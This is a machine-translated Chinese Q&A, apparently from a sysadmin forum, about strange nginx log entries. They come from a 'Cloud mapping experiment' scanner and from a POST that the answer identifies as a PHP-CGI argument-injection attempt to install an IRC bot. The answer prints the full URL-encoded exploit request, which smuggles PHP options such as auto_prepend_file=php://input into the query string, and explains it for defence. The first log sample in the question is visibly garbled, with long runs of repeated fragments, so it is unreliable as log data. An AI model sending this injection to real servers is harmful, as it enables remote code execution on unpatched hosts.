Amazon web services 获得；“云映射实验”；以及nginx日志中服务器上的意外POST请求

我在服务器（aws-ec2）上的nginx访问日志中收到意外请求。样本如下所示-

54.80.128.131---[05/Jul/2015:03:15:22+0000]“HEAD/HTTP/1.1”404 0“-”云映射实验。联系research@pdrlabs.net"

204.15.135.116---[05/Jul/2015:03:29:23+0000]"邮递/（C）C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C 5 5 F%69%6 6%6%6 6%6%6%6 6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6%6 69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70%%%3%3%3%3%3%3%2 2 2 2%2 2 2 2%2 2 2%2%2 2%2 2 2%2 2 2 2%2 2%2 2 2 2%2 2 2 2 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1“4045”-“Mozilla/5.0（WindowsNT6.3；rv:36.0） Gecko/20100101 Firefox/36.0“

我该怎么看？我该担心吗？

可能不会。

---

您看到的是有人点击您的服务器并请求一些不存在的东西（因此是404s）。“CloudMapping实验”部分只是与请求一起传入的用户代理。

我可以在这里看到与此用户代理相关的类似问题，但似乎没有人知道它到底做了什么：

我在两个不同的网络，不相关的服务上看到了这一点

下面是我现在在反向代理上看到的最后一个：

"GET /clientaccesspolicy.xml HTTP/1.1" 301 194 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"

我认为可能是某种漏洞扫描程序试图查找易受攻击的主机。在本例中，它正在查找名为/clientaccesspolicy.xml的文件。如果服务器返回防火墙，似乎有办法利用这些文件，因为它可能允许访问受保护的区域：

要立即回答您的问题，请求：

    POST /cgi-bin/php?  %2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
    User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded

该请求试图利用PHP中的一个非常旧的漏洞安装一个用Perl编写的IRC bot。[1]

这并不意味着你的服务器被黑客攻击。这只是意味着有人尝试过。它针对的是运行PHP版本的Unix系统，该版本易受2年前漏洞的影响。如果你在过去2年内至少更新过一次PHP，那么你很可能就没事了：）

有人试图通过他们在用户代理中提供的电子邮件与他们联系？：）

[1] 有关此页面的更多信息：